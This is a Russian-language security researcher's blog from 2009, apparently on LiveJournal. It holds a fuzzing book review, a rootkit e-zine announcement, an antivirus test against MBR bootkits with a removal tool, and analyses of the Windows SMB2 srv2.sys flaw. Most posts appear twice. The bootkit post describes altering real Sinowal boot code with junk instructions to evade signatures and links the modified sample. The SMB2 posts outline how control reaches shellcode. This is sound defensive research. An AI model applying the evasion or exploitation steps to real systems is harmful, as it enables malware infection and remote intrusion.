Books review
Nov. 14th, 2009 | 06:30 am
Дочитываю сейчас следующую книгу:
Fuzzing: Brute Force Vulnerability Discovery
За авторством чуваков из iDefense Labs: Michael Sutton, Adam Greene, Pedram Amini (основатель OpenRCE, кстати)

Тем, кто не в курсе как находится большая часть уязвимостей в современных программах и что такое фаззинг, книга в подробностях расскажет о подходах и методологии. Ну a тех, кто использует фаззинг в своей работе - она предостережет от изобретения велосипедов.
Кроме того, "Fuzzing: Brute Force Vulnerability Discovery" является хорошим примером того, как нужно писать технические книги на, казалось бы, узкую тему для максимально широкой аудитории технических специалистов.
Русское издание можно достать на books.ru:
http://www.books.ru/shop/books/6948 39
(Осторожно! Перевод оставляет желать лучшего)
А английское - на амазоне:
http://www.amazon.com/gp/product/032144 6119
... или скачать вполне читабельный скан в PDF:
http://narod.ru/disk/15046266000/Fuzzin g%20Brute%20Force%20Vulnerability%20Disc overy.rar.html
Fuzzing: Brute Force Vulnerability Discovery
За авторством чуваков из iDefense Labs: Michael Sutton, Adam Greene, Pedram Amini (основатель OpenRCE, кстати)

Тем, кто не в курсе как находится большая часть уязвимостей в современных программах и что такое фаззинг, книга в подробностях расскажет о подходах и методологии. Ну a тех, кто использует фаззинг в своей работе - она предостережет от изобретения велосипедов.
Кроме того, "Fuzzing: Brute Force Vulnerability Discovery" является хорошим примером того, как нужно писать технические книги на, казалось бы, узкую тему для максимально широкой аудитории технических специалистов.
Русское издание можно достать на books.ru:
http://www.books.ru/shop/books/6948
(Осторожно! Перевод оставляет желать лучшего)
А английское - на амазоне:
http://www.amazon.com/gp/product/032144
... или скачать вполне читабельный скан в PDF:
http://narod.ru/disk/15046266000/Fuzzin
Link | Leave a comment {8} | Add to Memories | Tell a Friend
NO BUNKUM
Nov. 7th, 2009 | 01:16 am
Мы наконец-то выпустили электронный журнал, который призван стать русскоязычным аналогом Uninformed-a.
Так уж получилось, что руткиты стали главной темой первого выпуска, однако, в следующих релизах обязательно будут раскрыты и многие другие.
В номере опубликован достаточно большой материал моего авторства:
Обнаружение руткитов режима ядра с помощью отладчика
В настоящее время вредоносные программы всё чаще снабжаются функциями активного противодействия различным защитным системам. Времена, когда трояны и черви банально завершали процессы антивирусов по списку имён, давно прошли; сейчас никого не удивишь даже снятием перехватов и деактивацией фильтров, установленных HIPS-ами. А использование rootkit-технологий для сокрытия вредоносного кода в системе стало практически стандартом.
В процессе анализа пойманных in-the-wild ("в живой природе") экземпляров руткитов трудно переоценить помощь утилит-антируткитов. Бесплатные программы этого класса, такие как GMER, Rootkit Unhooker, IceSword, Safe n'Sec Rootkit Detector, на данный момент остаются одним из самых удобных и эффективных инструментов для поиска и анализа руткитов. Специфика технологий, используемых в перечисленных антируткитах, делает их обход нетривиальной задачей, и как следствие - практически нерешаемой для авторов подавляющего большинства зловредов. Этот факт заставляет плохих парней идти по несколько иному пути: а именно, препятствовать нормальной работе защитных программ вместо их обхода. Что делать, если ни один из этих антируткитов не заработал на зараженной машине? В таком случае можно проанализировать и деактивировать руткит практически "голыми руками", при помощи только отладчика и понимания архитектуры операционной системы. Об этом и пойдёт речь в данной статье.
http://nobunkum.ru/issue001/rootkits-wi ndbg.html
... а так же ещё три интересных статьи от других людей:
Современные rootkit-технологии в Linux
Анализ руткита TDSS
«Все лгут». Погоня за истиной при поиске руткитов
Читать полностью: NOBUNKUM #1
Так уж получилось, что руткиты стали главной темой первого выпуска, однако, в следующих релизах обязательно будут раскрыты и многие другие.
В номере опубликован достаточно большой материал моего авторства:
Обнаружение руткитов режима ядра с помощью отладчика
В настоящее время вредоносные программы всё чаще снабжаются функциями активного противодействия различным защитным системам. Времена, когда трояны и черви банально завершали процессы антивирусов по списку имён, давно прошли; сейчас никого не удивишь даже снятием перехватов и деактивацией фильтров, установленных HIPS-ами. А использование rootkit-технологий для сокрытия вредоносного кода в системе стало практически стандартом.
В процессе анализа пойманных in-the-wild ("в живой природе") экземпляров руткитов трудно переоценить помощь утилит-антируткитов. Бесплатные программы этого класса, такие как GMER, Rootkit Unhooker, IceSword, Safe n'Sec Rootkit Detector, на данный момент остаются одним из самых удобных и эффективных инструментов для поиска и анализа руткитов. Специфика технологий, используемых в перечисленных антируткитах, делает их обход нетривиальной задачей, и как следствие - практически нерешаемой для авторов подавляющего большинства зловредов. Этот факт заставляет плохих парней идти по несколько иному пути: а именно, препятствовать нормальной работе защитных программ вместо их обхода. Что делать, если ни один из этих антируткитов не заработал на зараженной машине? В таком случае можно проанализировать и деактивировать руткит практически "голыми руками", при помощи только отладчика и понимания архитектуры операционной системы. Об этом и пойдёт речь в данной статье.
http://nobunkum.ru/issue001/rootkits-wi
... а так же ещё три интересных статьи от других людей:
Современные rootkit-технологии в Linux
Анализ руткита TDSS
«Все лгут». Погоня за истиной при поиске руткитов
Читать полностью: NOBUNKUM #1
Link | Leave a comment {12} | Add to Memories | Tell a Friend
Буткиты: фейл на ровном месте
Oct. 2nd, 2009 | 01:55 am
Мы выпустили универсальную утилиту для удаления буткитов (включая Sinowal/Mebroot всех версий,
Stoned Bootkit и все возможные в будущем вариации на тему заражения MBR).
Читать описание и скачать утилиту можно здесь:
http://www.esagelab.ru/resources.php?s=b ootkit_remover.
Далее – предыстория.
Буткиты, как разновидность широко распространенных вредоносных программ, появились in the wild в начале 2008-го года в лице семейства троянцев Sinowal (или Mebroot, по классификации других вендоров) и стали настоящей головной болью для антивирусной индустрии.
К тому же, недавно был представлен концептуальный буткит – Stoned Bootkit. Это послужило поводом для проведения небольшого исследования (см.ниже) с целью выяснить, как справляются антивирусы со старой доброй угрозой и ее новыми вариациями, а результаты тестирования, в свою очередь, послужили поводом для разработки простой и универсальной утилиты для лечения любых заражений MBR.
Предыстория
Современный буткит, фактически, представляет собой продолжение идей старых-добрых загрузочных вирусов времён DOS под NT платформу. Их история началась с презентации eEye Digital Security на конференции Black Hat USA в 2005-м году, в ходе которой был представлен концепт, запускающийся из главного загрузочного сектора и содержащий в качестве "полезной нагрузки" NDIS-бекдор, который позволял удалённо выполнять произвольный код на захваченном хосте:
http://www.blackhat.com/presentations/bh-u sa-05/bh-us-05-soeder.pdf
Именно этот код и взяли за основу авторы троянца Sinowal, дополнив его функционалом по загрузке драйвера и механизмами сокрытия вредоносной активности, сделавшими удаление данного буткита делом совсем нетривиальным. Что из себя представляет Sinowal?
Неудивительно, что появление подобного зловреда вызвало бурную реакцию всего security-сообщества, ведь до этого, буткиты воспринимали исключительно как интересные концепты, которые вряд ли получат развитие в виде реальных угроз.
Первое развёрнутое описание (а заодно и первая работающая утилита, позволяющая удалять буткита) были опубликованы автором популярного антируткита GMER на своём сайте:
http://www2.gmer.net/mbr/
Несколько позже, интересными публикациями отличились и эксперты Лаборатории Касперского, вслед за которыми детектирование первого семейства Sinowal-а добавили в свои продукты и другие крупные антивирусные вендоры:
http://www.securelist.com/ru/analysis/20 4007635/Butkit_vyzov_2008
http://www.securelist.com/ru/analysis/20 4007605/Sovremennye_informatsionnye_ugro zy_I_kvartal_2008
Второе, актуальное и по сей день, поколение Sinowal-а увидело свет в марте 2009-го года:
http://www.securelist.com/ru/analysis/20 4007655/Butkit_2009
Из-за более интересных перехватов чтения диска, и возможно, по некоторым другим причинам, лечение активного заражения этой версии стало ещё большей проблемой для производителей антивирусов.
Тестирование
Задачей тестирования было проверить, насколько качественно антивирусы детектируют и лечат вредоносные программы, модифицирующие MBR, и насколько они готовы к появлению новых угроз такого типа. Для этого, во-первых, необходимо выяснить, каким образом антивирусы детектируют вредоносный код в MBR: сигнатурно или универсально. Сигнатурное детектирование бессильно против новых модификаций старой угрозы. Во-вторых, необходимо протестировать антивирусы с уже появившейся «новой угрозой».
К сожалению, у меня не было ни времени ни желания тестировать все несколько десятков антивирусов от разных компаний, поэтому, в тестирование попали только те, которые по информации от самих вендоров и слухам с форума anti-malware.ru способны детектировать и/или лечить второе поколение Sinowal-а.
Итак, перед нами:
McAfee VirusScan 13.15.101
Dr.Web CureIt! 5.0.2.9230
Kaspersky Antivirus 2009 9.0.0.463
ESET NOD32 4.0.437.0
Avast Pro 4.8.1356.0
Symantec Trojan.Mebroot Removal Tool 1.0.1.0
F-Secure BlackLight 2.2.1092.0
Кроме того, в тестировании приняла участие бесплатная утилита-антируткит RootRepeal версии 1.3.5.0.
Перейдём к делу.
Тестирование производилось на VMware, с установленной Windows XP Professional SP2. Всего было развёрнуто три разных тестовых стенда.
На зараженную виртуальную машину устанавливались последние версии перечисленных выше продуктов, после чего осуществлялось обновление антивирусных баз и полное сканирование системы с активацией всех возможных опций и технологий детектирования. Работоспособность Sinowal-а на каждом этапе проверялась с помощью RootkitUnhooker-а по наличию в системе подозрительных потоков и исполняемого кода.
Пример лога:
Кроме того, для диагностики системы использовалась и утилита собственной разработки, речь о которой пойдёт в конце поста.
Результаты тестирования привожу в виде таблицы (детектирование/удаление).
В таблице не фигурируют утилиты и продукты от Avast, Symantec и F-Secure, так как они провалили тест, отказавшись впринципе детектировать что-либо из использовавшихся самплов. Но результаты по остальным оказались весьма интересные, и с ходу вызывают достаточно много вопросов.
Выводы, опираясь на приведенные мной факты, можете сделать сами, но то, что антивирусная индустрия в техническом плане не готова в полной мере защищать пользователей от нового вида угроз - более чем очевидно. Радует лишь тот факт, что участвовавшие в тестировании продукты хоть как-то детектируют распотраненные in the wild сапмплы, ведь подавляющие большинство других вендоров тихо отмалчивается вообще игнорируя проблемы.
Утилита
В завершение этой заметки, я хотел бы представить вашему вниманию утилиту собственной разработки, которая является универсальным средством для детектирования и удаления буткитов. Её главные отличительные особенности:

Bootkit Remover нашел активный Sinowal-b.
Ремовер простой в использовании.
Утилита работает из командной строки (необходимы права администратора).
Проверка MBR для всех физических накопителей:
В отчете сканирования выводится один из трех вердиктов для каждого
физического накопителя:
OK (DOS/Win32 Boot code found) - MBR содержит оригинальный загрузочный код операционной системы DOS/Windows.
Unknown boot code - MBR содержит неизвестный загрузочный код. На практике это может означать то, что в системе присутствует буткит который не скрывает модифицированный загрузочный код. Кроме того, подобный статус будет выводится в случае использования какого-либо нестандартного мененджера загрузки (например, GRUB).
Controlled by rootkit! - в системе обнаружен активный буткит, который препятствует чтению модифицированного загрузочного кода стандартными средствами (именно так детектируется Sinowal/Mebroot).
Восстановление оригинального загрузочного кода Windows:
... где <device> - это системное имя физического накопителя, на котором вы хотите восстановить загрузочный код (например, \\.\PhysicalDrive0).
Дамп загрузочного кода в консоль или в файл:
... где output_file - опциональное имя выходного файла, в который будет записан загрузочный код.
*** ВНИМАНИЕ!
При перезаписи MBR всегда существует небольшой риск нанести вред операционной системе. Поэтому, перед тем как использовать утилиту Bootkit Remover, обязательно приготовьте загрузочный установочный диск с используемой версией Windows, с помощью которого (Recovery Console) можно восстановить MBR в случае его повреждения.</p>
Скачать утилиту можно здесь: http://www.esagelab.com/files/bootkit_r emover.rar
По вопросам работы ремовера связываться со мной лучше всего по е-mail: dmitry@esagelab.ru
Stoned Bootkit и все возможные в будущем вариации на тему заражения MBR).
Читать описание и скачать утилиту можно здесь:
http://www.esagelab.ru/resources.php?s=b
Далее – предыстория.
Буткиты, как разновидность широко распространенных вредоносных программ, появились in the wild в начале 2008-го года в лице семейства троянцев Sinowal (или Mebroot, по классификации других вендоров) и стали настоящей головной болью для антивирусной индустрии.
К тому же, недавно был представлен концептуальный буткит – Stoned Bootkit. Это послужило поводом для проведения небольшого исследования (см.ниже) с целью выяснить, как справляются антивирусы со старой доброй угрозой и ее новыми вариациями, а результаты тестирования, в свою очередь, послужили поводом для разработки простой и универсальной утилиты для лечения любых заражений MBR.
Предыстория
Современный буткит, фактически, представляет собой продолжение идей старых-добрых загрузочных вирусов времён DOS под NT платформу. Их история началась с презентации eEye Digital Security на конференции Black Hat USA в 2005-м году, в ходе которой был представлен концепт, запускающийся из главного загрузочного сектора и содержащий в качестве "полезной нагрузки" NDIS-бекдор, который позволял удалённо выполнять произвольный код на захваченном хосте:
http://www.blackhat.com/presentations/bh-u
Именно этот код и взяли за основу авторы троянца Sinowal, дополнив его функционалом по загрузке драйвера и механизмами сокрытия вредоносной активности, сделавшими удаление данного буткита делом совсем нетривиальным. Что из себя представляет Sinowal?
- В процессе заражения компьютера дроппер буткита модифицирует код главной загрузочной записи (MBR). Работающий в системе троянец не виден в качестве файла, он "живёт" исключительно в MBR и первых секторах диска, которые не относятся к какому-либо разделу.
- Во время загрузки системы, MBR-код буткита перехватывает процедуру чтения ядра операционной системы с диска, для осуществления патчинга вызова функции IoInitSystem рядом с точкой входа. После этого (так же как и в случае с легитимным загрузочным кодом) дальнейшее управление процессом загрузки передаётся загрузочному коду системного раздела, который, в свою очередь, считывает и запускает загрузчик операционной системы (ntldr).
- По завершению второй стадии загрузки, загрузчик операционной системы передаёт управление ядру, но из-за установленного перехвата вызова IoInitSystem выполняется код буткита, который осуществляет проецирование в память драйвера с основным функционалом троянца.
- Драйвер троянца устанавливает перехваты на драйвера дисковой подсистемы, которые, при попытке чтения модифицированного MBR, возвращают сохранённую копию оригинального загрузочного сектора.
- На более поздних этапах инициализации и работы системы в процессы пользовательского режима драйвером внедряется код, который осуществляет взаимодействие троянца с командным центром а так же представляет собой spyware, ориентированный на кражу аккаунтов для доступа к системам онлайн-банкинга.
Неудивительно, что появление подобного зловреда вызвало бурную реакцию всего security-сообщества, ведь до этого, буткиты воспринимали исключительно как интересные концепты, которые вряд ли получат развитие в виде реальных угроз.
Первое развёрнутое описание (а заодно и первая работающая утилита, позволяющая удалять буткита) были опубликованы автором популярного антируткита GMER на своём сайте:
http://www2.gmer.net/mbr/
Несколько позже, интересными публикациями отличились и эксперты Лаборатории Касперского, вслед за которыми детектирование первого семейства Sinowal-а добавили в свои продукты и другие крупные антивирусные вендоры:
http://www.securelist.com/ru/analysis/20
http://www.securelist.com/ru/analysis/20
Второе, актуальное и по сей день, поколение Sinowal-а увидело свет в марте 2009-го года:
http://www.securelist.com/ru/analysis/20
Из-за более интересных перехватов чтения диска, и возможно, по некоторым другим причинам, лечение активного заражения этой версии стало ещё большей проблемой для производителей антивирусов.
Тестирование
Задачей тестирования было проверить, насколько качественно антивирусы детектируют и лечат вредоносные программы, модифицирующие MBR, и насколько они готовы к появлению новых угроз такого типа. Для этого, во-первых, необходимо выяснить, каким образом антивирусы детектируют вредоносный код в MBR: сигнатурно или универсально. Сигнатурное детектирование бессильно против новых модификаций старой угрозы. Во-вторых, необходимо протестировать антивирусы с уже появившейся «новой угрозой».
К сожалению, у меня не было ни времени ни желания тестировать все несколько десятков антивирусов от разных компаний, поэтому, в тестирование попали только те, которые по информации от самих вендоров и слухам с форума anti-malware.ru способны детектировать и/или лечить второе поколение Sinowal-а.
Итак, перед нами:
Кроме того, в тестировании приняла участие бесплатная утилита-антируткит RootRepeal версии 1.3.5.0.
Перейдём к делу.
Тестирование производилось на VMware, с установленной Windows XP Professional SP2. Всего было развёрнуто три разных тестовых стенда.
- Самый обычный сампл Sinowal-а второго поколения, дроппер которого датирован концом мая 2009-го года (VirusTotal).
- Модифицированная версия Sinowal-а которая была полученна следующим образом: я дизассемблировал код загрузочной записи руткита, прочитанный с зараженной машины, модифицировал его, разбавив мусорными xor-ами и nop-ами и с целью сбития сигнатуры, и после ассембилрования записал обратно на диск. Код доступен для скачивания здесь:
http://www.esagelab.com/files/sinowal-b_modified.zip. 
Модифицированный загрузочный код буткита (добавленные инструкции выделены). - Stoned Bootkit. Это очередной концептуальный буткит, который был представлен на конференции BlackHat в этом году. Публично доступная версия буткита является сильно урезанной: кроме инфектора и, собственно, загрузочного кода в ней фактически ничего нет. Дополнительная информация доступна на сайте проекта:
http://www.stoned-vienna.com/.
На зараженную виртуальную машину устанавливались последние версии перечисленных выше продуктов, после чего осуществлялось обновление антивирусных баз и полное сканирование системы с активацией всех возможных опций и технологий детектирования. Работоспособность Sinowal-а на каждом этапе проверялась с помощью RootkitUnhooker-а по наличию в системе подозрительных потоков и исполняемого кода.
Пример лога:
============================================== >Stealth ============================================== 0x8122CB80 Page with executable code [ ETHREAD 0x81400DA8 ] TID: 256, size: 1152 bytes 0x811E9B29 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 1239 bytes 0x811E6B13 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1261 bytes 0x811BAB07 Page with executable code [ ETHREAD 0x81416570 ] TID: 744, size: 1273 bytes 0x81202AF1 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1295 bytes 0x81208A55 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1451 bytes 0x811DA9B1 Page with executable code [ ETHREAD 0x815BB8F8 ] TID: 684, size: 1615 bytes 0x811E78F8 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1800 bytes 0x811E87B9 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 2119 bytes 0x811BB6B2 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2382 bytes 0x811C3581 Page with executable code [ ETHREAD 0x81661A90 ] TID: 748, size: 2687 bytes 0x811DE4A3 Page with executable code [ ETHREAD 0x817CB810 ] TID: 24, size: 2909 bytes 0x8120648C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2932 bytes 0x811E841F Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3041 bytes 0x8121F419 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3047 bytes 0x8121E3CA Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3126 bytes 0x811EC3B6 Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3146 bytes 0x811FE321 Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3295 bytes 0x811FE25E Page with executable code [ ETHREAD 0x81400B20 ] TID: 264, size: 3490 bytes 0x811FB20A Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3574 bytes 0x8120EA80 Unknown thread object [ ETHREAD 0x813F3DA8 ] TID: 248, size: 592 bytes 0x811FB187 Unknown thread object [ ETHREAD 0x813F3B20 ] TID: 252, size: 592 bytes 0x8122CAF7 Unknown thread object [ ETHREAD 0x81400DA8 ] TID: 256, size: 592 bytes 0x811FE119 Unknown thread object [ ETHREAD 0x81400B20 ] TID: 264, size: 592 bytes 0x8123FDF0 Unknown thread object [ ETHREAD 0x816EB030 ] TID: 560, size: 592 bytes 0x811C3417 Unknown thread object [ ETHREAD 0x8165BDA8 ] TID: 648, size: 592 bytes 0x811C0D7C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 644 bytes 0x811D5D2D Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 723 bytes 0x8120ED0B Page with executable code [ ETHREAD 0x813F3DA8 ] TID: 248, size: 757 bytes
Кроме того, для диагностики системы использовалась и утилита собственной разработки, речь о которой пойдёт в конце поста.
Результаты тестирования привожу в виде таблицы (детектирование/удаление).
| Sinowal-b | Sinowal-b Modified | Stoned Bootkit | |
| McAfee VirusScan | +/+ | / | / |
| Dr.Web CureIt! | +/+ | / | / |
| Kaspersky Antivirus 2009 | +/+ | +/ | / |
| ESET NOD32 | +/ | +/ | +/ |
| RootRepeal | +/+ | +/+ | / |
В таблице не фигурируют утилиты и продукты от Avast, Symantec и F-Secure, так как они провалили тест, отказавшись впринципе детектировать что-либо из использовавшихся самплов. Но результаты по остальным оказались весьма интересные, и с ходу вызывают достаточно много вопросов.
Почему в первом тесте NOD32 не смог вылечить активное заражение?
Если честно, для меня самого это осталось загадкой, особенно с учётом того, что ESET зарелизил отдельную утилиту-ремовер, замечательно справляющуюся с удалением не модифицированного Sinowal-а обеих поколений. Однако, в силу того что среднестатистический пользователь вряд ли додумается найти и использовать эту утилиту, я посчитал более справедливым включить в тестирование именно "большой" продукт.
Почему во втором тесте большинство продуктов от антивирусных компаний смогли детектировать буткит, но не смогли с ним ничего сделать?
На самом деле, речь идёт всего-лишь о детекте драйвера буткита в памяти, а не вредоносного кода в главной загрузочной записи. Полная бесполезность подобного детектирования очевидна.
А почему антивирусы не смогли детектировать модифицированный загрузочный код буткита?
Это звучит пугающе, но загрузочный код детектируется исключительно сигнатурно. Да, вы не ослышались, это полный и невообразимый пиздец: активный руткит, который легко идентифицировать по подменённому загрузочному коду (при попытке его считывания стандартными средствами) напрочь игнорируется, если сгнатуры этого самого загрузочного кода нет в базе. Удивительно, но всего за десять минут работы мы смогли проапгрейдить версию зловреда почти пятимесячной давности таким образом, что удалить её не смог ни один антивирус.
Но ведь RootRepeal замечательно справляется с удалением буткита в первых двух тестах?
Да, справляется. Автор этого антируткита написал "правильный" детект, который срабатывает именно в случае обнаружения аномалии (несоответствие загрузочного кода при попытке его чтения разными средствами). На лицо повторение ситуации, которая какое-то время назад сложилась и в области классических руткитов: бесплатная утилита, написанная энтузиастом-одиночкой справляется с лечением технически сложных троянов гораздо лучше, чем продукты больших компаний, в написание которых было вложенно огромное количество материальных ресурсов и человеко-часов.
Почему почти никто не детектирует и не лечит Stoned Bootkit?
С RootRepeal-ом всё просто: это антируткит, и его задачей является исключительно детектирование аномалий. Stoned никак не скрывает свой код в MBR, из-за этого и игнорируется антируткитом. Однако, подобная формулировка не сможет служить оправданием в случае с антивирусами. На первый взгляд, может показатся что детектировать ничего не делающий концепт действительно бессмысленно (исключение составили только ESET, которые, видимо, удосужились потратить две минуты на скачивание инфектора и добавления сигнатуры в базу), но давайте мыслить шире. Вирусописатель вполне может использовать полиморфный движок для генерации уникального загрузочного кода в каждом конкретном случае заражения, блокируя после этого попытки его модификации/перезаписи, вместо перехвата процедуры чтения. Таким образом, в течении того времени, что потребуется антивирусным компаниям на анализ сампла, написание и тестирование процедуры детекта/удаления, новый зловред получит возможность невозбранно поселиться хоть на сотнях тысяч компьютеров.
Выводы, опираясь на приведенные мной факты, можете сделать сами, но то, что антивирусная индустрия в техническом плане не готова в полной мере защищать пользователей от нового вида угроз - более чем очевидно. Радует лишь тот факт, что участвовавшие в тестировании продукты хоть как-то детектируют распотраненные in the wild сапмплы, ведь подавляющие большинство других вендоров тихо отмалчивается вообще игнорируя проблемы.
Утилита
В завершение этой заметки, я хотел бы представить вашему вниманию утилиту собственной разработки, которая является универсальным средством для детектирования и удаления буткитов. Её главные отличительные особенности:
Корректно детектирует и лечит активное заражение как распространенных in the wild буткитов (включая все модификации Sinowal/Mebroot), так и неизвестных зловредов подобного класса.-
Протестирована и работает на 32-х и 64-х разрядных операционных системах Microsoft Windows XP, Server 2003, Vista, Server 2008 и Windows 7 (RC1 и RTM). -
Работает исключительно из режима пользователя, без использования драйверов и каких-либо недокументированных механизмов и функций операционной системы.

Bootkit Remover нашел активный Sinowal-b.
Ремовер простой в использовании.
Утилита работает из командной строки (необходимы права администратора).
Проверка MBR для всех физических накопителей:
> remover.exe
В отчете сканирования выводится один из трех вердиктов для каждого
физического накопителя:
Восстановление оригинального загрузочного кода Windows:
> remover.exe fix <device>
... где <device> - это системное имя физического накопителя, на котором вы хотите восстановить загрузочный код (например, \\.\PhysicalDrive0).
Дамп загрузочного кода в консоль или в файл:
> remover.exe dump <device> [output_file]
... где output_file - опциональное имя выходного файла, в который будет записан загрузочный код.
*** ВНИМАНИЕ!
При перезаписи MBR всегда существует небольшой риск нанести вред операционной системе. Поэтому, перед тем как использовать утилиту Bootkit Remover, обязательно приготовьте загрузочный установочный диск с используемой версией Windows, с помощью которого (Recovery Console) можно восстановить MBR в случае его повреждения.</p>
Скачать утилиту можно здесь: http://www.esagelab.com/files/bootkit_r
По вопросам работы ремовера связываться со мной лучше всего по е-mail: dmitry@esagelab.ru
Link | Leave a comment {16} | Add to Memories | Tell a Friend
SMB2 exploit again
Sep. 30th, 2009 | 10:22 pm
К этому посту:
http://cr4sh-0x48k.livejournal.com/3965 1.html
Сегодня в репозитории метасплойта появился полнофункциональный код, эксплуатриующий уязвимость в srv2.sys при обработке SMB запросов:
http://metasploit.com/svn/framework3/tr unk/modules/exploits/windows/smb/smb2_ne gotiate_func_index.rb
Если попытаться охарактеризовать его одним словом, то "охуеть" будет одним из самых подходящих: что бы добиться remote code execution в таких условиях, нужно быть или очень умным, или очень везучим. Код работает следующим образом.
Индекс массива методов, использующийся в srv2!Smb2ValidateProviderCallback, подбирается таким образом, что бы происходил вызов функции srv2!SrvSnapShotScavengerTimer. Здесь самое интересное: так как srv2!SrvSnapShotScavengerTimer принимает на стеке четыре дворда (вместо одного в случае с методом, вызов которого был предусмотрен девелоперами), происходит порча esp после выхода из этой функции и как следствие - подмена значений в регистрах edi и esi, которые восстанавливаются перед возвратом из srv2!Smb2ValidateProviderCallback. Далее, выполняется следующая цепочка вызовов:
Другими словами, в норме здесь eax содержит указатель на функцию из srv2, но за счёт того, что в srv2!Smb2ValidateProviderCallback херится стек, туда попадает дворд из данных пакета.
Эксплойт в большинстве случаев стабильно отрабатывает на Vista SP1 (редкие падения были зафикисированны из-за особенностей использующегося ring0->ring3 лаунчера для стандартных шеллкодов):

http://cr4sh-0x48k.livejournal.com/3965
Сегодня в репозитории метасплойта появился полнофункциональный код, эксплуатриующий уязвимость в srv2.sys при обработке SMB запросов:
http://metasploit.com/svn/framework3/tr
Если попытаться охарактеризовать его одним словом, то "охуеть" будет одним из самых подходящих: что бы добиться remote code execution в таких условиях, нужно быть или очень умным, или очень везучим. Код работает следующим образом.
Индекс массива методов, использующийся в srv2!Smb2ValidateProviderCallback, подбирается таким образом, что бы происходил вызов функции srv2!SrvSnapShotScavengerTimer. Здесь самое интересное: так как srv2!SrvSnapShotScavengerTimer принимает на стеке четыре дворда (вместо одного в случае с методом, вызов которого был предусмотрен девелоперами), происходит порча esp после выхода из этой функции и как следствие - подмена значений в регистрах edi и esi, которые восстанавливаются перед возвратом из srv2!Smb2ValidateProviderCallback. Далее, выполняется следующая цепочка вызовов:
91040ce8 9098d96f 83c84548 00000000 00000001 srv2!SrvProcCompleteRequest+0xd2 91040d10 9098d997 3fffffb4 91040d34 9098cae2 srv2!SrvConsumeDataAndComplete2+0x35e 91040d1c 9098cae2 83c84548 83c84548 9098a801 srv2!SrvConsumeDataAndComplete+0x1c 91040d34 9098cab4 83c84548 00000000 9098a801 srv2!SrvProcCompleteRequest+0x23... и только в srv2!SrvProcCompleteRequest происходит push esi/call eax, где esi указывает на начало пакета, а eax на - ret в коде ядра.
Другими словами, в норме здесь eax содержит указатель на функцию из srv2, но за счёт того, что в srv2!Smb2ValidateProviderCallback херится стек, туда попадает дворд из данных пакета.
Эксплойт в большинстве случаев стабильно отрабатывает на Vista SP1 (редкие падения были зафикисированны из-за особенностей использующегося ring0->ring3 лаунчера для стандартных шеллкодов):

Link | Leave a comment {5} | Add to Memories | Tell a Friend
Windows SMB2 DoS: Remote code execution возможен, но только в теории :)
Sep. 9th, 2009 | 01:17 am
Последние дни все обсуждают новый PoC под всё ещё непропатченую уязвимость в SMB сервере Microsoft Windows Vista, 2008 Server и 7:
http://securityvulns.com/news/Windo ws/7/SMB2.html
http://g-laurent.blogspot.com/2009/09/w indows-vista7-smb20-negotiate-protocol.h tml
Уязвимость имеет место быть из-за бага в драйвере ядра srv2.sys, который проявляет себя при обработке стандартного SMB запроса типа SMB_COM_NEGOTIATE (этим запросом, собственно, и начинается любая SMB сессия). С помощью SMB_COM_NEGOTIATE (Command code = 72h) клиент сообщает серверу типы поддерживаемых SMB-диалектов. Формат запроса следующий:
Более подробная инфа о протоколе есть в этой спецификации:
http://www.microsoft.com/about/legal/pr otocols/BSTD/CIFS/draft-leach-cifs-v1-sp ec-02.txt
Call stack на момент краха системы выглядит следующим образом (Windows 7 RC1, srv2.sys ver. 6.1.7100.0):
Суть уязвимости заключается в отсутствии валидации значения поля PidHigh, которое, обычно, нулевое для запросов подобного типа. Фрагмент кода бажной функции srv2!Smb2ExecuteProviderCallback:
Таким образом, для передачи управления на шеллкод должны быть выполнены следующие условия:
1. Атакующий должен найти фрагмент кода (желательно, в том же srv2.sys) вида lea reg,[edi+some_offset]/call reg, где some_offset - смещение шеллкода в SMB запросе.
2. В промапленном в память модуле (опять же, желательно что бы это был именно srv2.sys) необходимо отыскать указатель на найденные в п.1 инструкции.
3. Из адресса указателя вычислить index по след. формуле: index = (pointer - srv2!ExecuteRoutines) / 4. Причём, адрес указателя должен быть кратный 4-м и больше адреса таблицы srv2!ExecuteRoutines, а получившийся в итоге индекс меньше FFFFh.
4. Вычисленный в п.3 индекс нужно заюзаь в качестве значения поля PidHigh.
За несколько часов работы удовлетворить все эти условия мне так и не удалось. Это, само собой, не является истиной в последней инстанции, но моё имхо - нового конфикера не будет :)
http://securityvulns.com/news/Windo
http://g-laurent.blogspot.com/2009/09/w
Уязвимость имеет место быть из-за бага в драйвере ядра srv2.sys, который проявляет себя при обработке стандартного SMB запроса типа SMB_COM_NEGOTIATE (этим запросом, собственно, и начинается любая SMB сессия). С помощью SMB_COM_NEGOTIATE (Command code = 72h) клиент сообщает серверу типы поддерживаемых SMB-диалектов. Формат запроса следующий:
typedef struct {
UCHAR Protocol[4]; // Contains 0xFF,'SMB'
UCHAR Command; // Command code
union {
struct {
UCHAR ErrorClass; // Error class
UCHAR Reserved; // Reserved for future use
USHORT Error; // Error code
} DosError;
ULONG Status; // 32-bit error code
} Status;
UCHAR Flags; // Flags
USHORT Flags2; // More flags
union {
USHORT Pad[6]; // Ensure section is 12 bytes long
struct {
USHORT PidHigh; // High part of PID
ULONG Unused; // Not used
ULONG Unused2;
} Extra;
};
// skipped
} SMB_HEADER;
Более подробная инфа о протоколе есть в этой спецификации:
http://www.microsoft.com/about/legal/pr
Call stack на момент краха системы выглядит следующим образом (Windows 7 RC1, srv2.sys ver. 6.1.7100.0):
